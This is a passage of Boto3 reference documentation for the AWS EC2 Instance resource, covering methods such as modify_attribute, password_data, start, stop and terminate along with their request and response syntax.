EBS volume is deleted on instance termination. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") to update the attributes of the Instance resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +instance.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified attribute of the specified instance. You can specify only one attribute at a time. + +> **Note:** Using this action to change the security groups associated with an elastic network interface (ENI) attached to an instance in a VPC can result in an error if the instance has more than one ENI. To change the security groups associated with an ENI attached to an instance that has multiple ENIs, we recommend that you use the ModifyNetworkInterfaceAttribute action. + +To modify some attributes, the instance must be stopped. For more information, see [Modifying attributes of a stopped instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_ChangingAttributesWhileInstanceStopped.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyInstanceAttribute) + +**Request Syntax** + +response = instance.modify_attribute( + SourceDestCheck={ + 'Value': True|False + }, + Attribute='instanceType'|'kernel'|'ramdisk'|'userData'|'disableApiTermination'|'instanceInitiatedShutdownBehavior'|'rootDeviceName'|'blockDeviceMapping'|'productCodes'|'sourceDestCheck'|'groupSet'|'ebsOptimized'|'sriovNetSupport'|'enaSupport'|'enclaveOptions', + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'VolumeId': 'string' + }, + 'NoDevice': 'string', + 'VirtualName': 'string' + }, + ], + DisableApiTermination={ + 'Value': True|False + }, + DryRun=True|False, + EbsOptimized={ + 'Value': True|False + }, + EnaSupport={ + 'Value': True|False + }, + Groups=[ + 'string', + ], + InstanceInitiatedShutdownBehavior={ + 'Value': 'string' + }, + InstanceType={ + 'Value': 'string' + }, + Kernel={ + 'Value': 'string' + }, + Ramdisk={ + 'Value': 'string' + }, + SriovNetSupport={ + 'Value': 'string' + }, + UserData={ + 'Value': b'bytes' + }, + Value='string' +) + +Parameters + +- **SourceDestCheck** (_dict_) -- + + Specifies whether source/destination checking is enabled. A value of true means that checking is enabled, and false means that checking is disabled. This value must be false for a NAT instance to perform NAT. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +- **Attribute** (_string_) -- The name of the attribute. +- **BlockDeviceMappings** (_list_) -- + + Modifies the DeleteOnTermination attribute for volumes that are currently attached. The volume must be owned by the caller. If no value is specified for DeleteOnTermination , the default is true and the volume is deleted when the instance is terminated. + + To add instance store volumes to an Amazon EBS-backed instance, you must add them when you launch the instance. For more information, see [Updating the block device mapping when launching an instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/block-device-mapping-concepts.html#Using_OverridingAMIBDM) in the _Amazon Elastic Compute Cloud User Guide_ . + + - _(dict) --_ + + Describes a block device mapping entry. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + - **VolumeId** _(string) --_ + + The ID of the EBS volume. + + - **NoDevice** _(string) --_ + + suppress the specified device included in the block device mapping. + + - **VirtualName** _(string) --_ + + The virtual device name. + +- **DisableApiTermination** (_dict_) -- + + If the value is true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. You cannot use this parameter for Spot Instances. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **EbsOptimized** (_dict_) -- + + Specifies whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +- **EnaSupport** (_dict_) -- + + Set to true to enable enhanced networking with ENA for the instance. + + This option is supported only for HVM instances. Specifying this option with a PV instance can make it unreachable. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +- **Groups** (_list_) -- + + [EC2-VPC] Changes the security groups of the instance. You must specify at least one security group, even if it's just the default security group for the VPC. You must specify the security group ID, not the security group name. + + - _(string) --_ +- **InstanceInitiatedShutdownBehavior** (_dict_) -- + + Specifies whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **InstanceType** (_dict_) -- + + Changes the instance type to the specified value. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) . If the instance type is not valid, the error returned is InvalidInstanceAttributeValue . + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **Kernel** (_dict_) -- + + Changes the instance's kernel to the specified value. We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedKernels.html) . + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **Ramdisk** (_dict_) -- + + Changes the instance's RAM disk to the specified value. We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedKernels.html) . + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **SriovNetSupport** (_dict_) -- + + Set to simple to enable enhanced networking with the Intel 82599 Virtual Function interface for the instance. + + There is no way to disable enhanced networking with the Intel 82599 Virtual Function interface at this time. + + This option is supported only for HVM instances. Specifying this option with a PV instance can make it unreachable. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **UserData** (_dict_) -- + + Changes the instance's user data to the specified value. If you are using an AWS SDK or command line tool, base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide base64-encoded text. + + - **Value** _(bytes) --_ +- **Value** (_string_) -- A new value for the attribute. Use only with the kernel , ramdisk , userData , disableApiTermination , or instanceInitiatedShutdownBehavior attribute. + +Returns + +None + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = instance.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +password_data(kwargs_) + +Retrieves the encrypted administrator password for a running Windows instance. + +The Windows password is generated at boot by the EC2Config service or EC2Launch scripts (Windows Server 2016 and later). This usually only happens the first time an instance is launched. For more information, see [EC2Config](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/UsingConfig_WinAMI.html) and [EC2Launch](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2launch.html) in the Amazon Elastic Compute Cloud User Guide. + +For the EC2Config service, the password is not generated for rebundled AMIs unless Ec2SetPassword is enabled before bundling. + +The password is encrypted using the key pair that you specified when you launched the instance. You must provide the corresponding key pair file. + +When you launch an instance, password generation and encryption may take a few minutes. If you try to retrieve the password before it's available, the output returns an empty string. We recommend that you wait up to 15 minutes after launching an instance before trying to retrieve the generated password. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetPasswordData) + +**Request Syntax** + +response = instance.password_data( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceId': 'string', + 'PasswordData': 'string', + 'Timestamp': datetime(2015, 1, 1) +} + +**Response Structure** + +- _(dict) --_ + - **InstanceId** _(string) --_ + + The ID of the Windows instance. + + - **PasswordData** _(string) --_ + + The password of the instance. Returns an empty string if the password is not available. + + - **Timestamp** _(datetime) --_ + + The time the data was last updated. + + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = instance.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") to update the attributes of the Instance resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +instance.reload() + +Returns + +None + +report_status(kwargs_) + +Submits feedback about the status of an instance. The instance must be in the running state. If your experience with the instance differs from the instance status returned by DescribeInstanceStatus , use ReportInstanceStatus to report your experience with the instance. Amazon EC2 collects this information to improve the accuracy of status checks. + +Use of this action does not change the value returned by DescribeInstanceStatus . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReportInstanceStatus) + +**Request Syntax** + +response = instance.report_status( + Description='string', + DryRun=True|False, + EndTime=datetime(2015, 1, 1), + ReasonCodes=[ + 'instance-stuck-in-state'|'unresponsive'|'not-accepting-credentials'|'password-not-available'|'performance-network'|'performance-instance-store'|'performance-ebs-volume'|'performance-other'|'other', + ], + StartTime=datetime(2015, 1, 1), + Status='ok'|'impaired' +) + +Parameters + +- **Description** (_string_) -- Descriptive text about the health state of your instance. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **EndTime** (_datetime_) -- The time at which the reported instance health state ended. +- **ReasonCodes** (_list_) -- + + **[REQUIRED]** + + The reason codes that describe the health state of your instance. + + - instance-stuck-in-state : My instance is stuck in a state. + - unresponsive : My instance is unresponsive. + - not-accepting-credentials : My instance is not accepting my credentials. + - password-not-available : A password is not available for my instance. + - performance-network : My instance is experiencing performance problems that I believe are network related. + - performance-instance-store : My instance is experiencing performance problems that I believe are related to the instance stores. + - performance-ebs-volume : My instance is experiencing performance problems that I believe are related to an EBS volume. + - performance-other : My instance is experiencing performance problems. + - other : [explain using the description parameter] + + - _(string) --_ +- **StartTime** (_datetime_) -- The time at which the reported instance health state began. +- **Status** (_string_) -- + + **[REQUIRED]** + + The status of all instances listed. + + +Returns + +None + +reset_attribute(kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response = instance.reset_attribute( + Attribute='instanceType'|'kernel'|'ramdisk'|'userData'|'disableApiTermination'|'instanceInitiatedShutdownBehavior'|'rootDeviceName'|'blockDeviceMapping'|'productCodes'|'sourceDestCheck'|'groupSet'|'ebsOptimized'|'sriovNetSupport'|'enaSupport'|'enclaveOptions', + DryRun=True|False, + +) + +Parameters + +- **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute to reset. + + Warning + + You can only reset the following attributes: kernel | ramdisk | sourceDestCheck . To change an instance attribute, use ModifyInstanceAttribute . + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reset_kernel(kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response = instance.reset_kernel( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reset_ramdisk(kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response = instance.reset_ramdisk( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reset_source_dest_check(kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response = instance.reset_source_dest_check( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = instance.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +- **AdditionalInfo** (_string_) -- Reserved. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StartingInstances** _(list) --_ + + Information about the started instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = instance.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +- **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = instance.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = instance.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +volumes + +A collection of Volume resources.A Volume Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Volume resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = instance.volumes.all() + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +filter(kwargs_) + +Creates an iterable of all Volume resources in the collection filtered by kwargs passed to method.A Volume collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = instance.volumes.filter( + VolumeIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **VolumeIds** (_list_) -- + + The volume IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of volume results returned by DescribeVolumes in paginated output. When this parameter 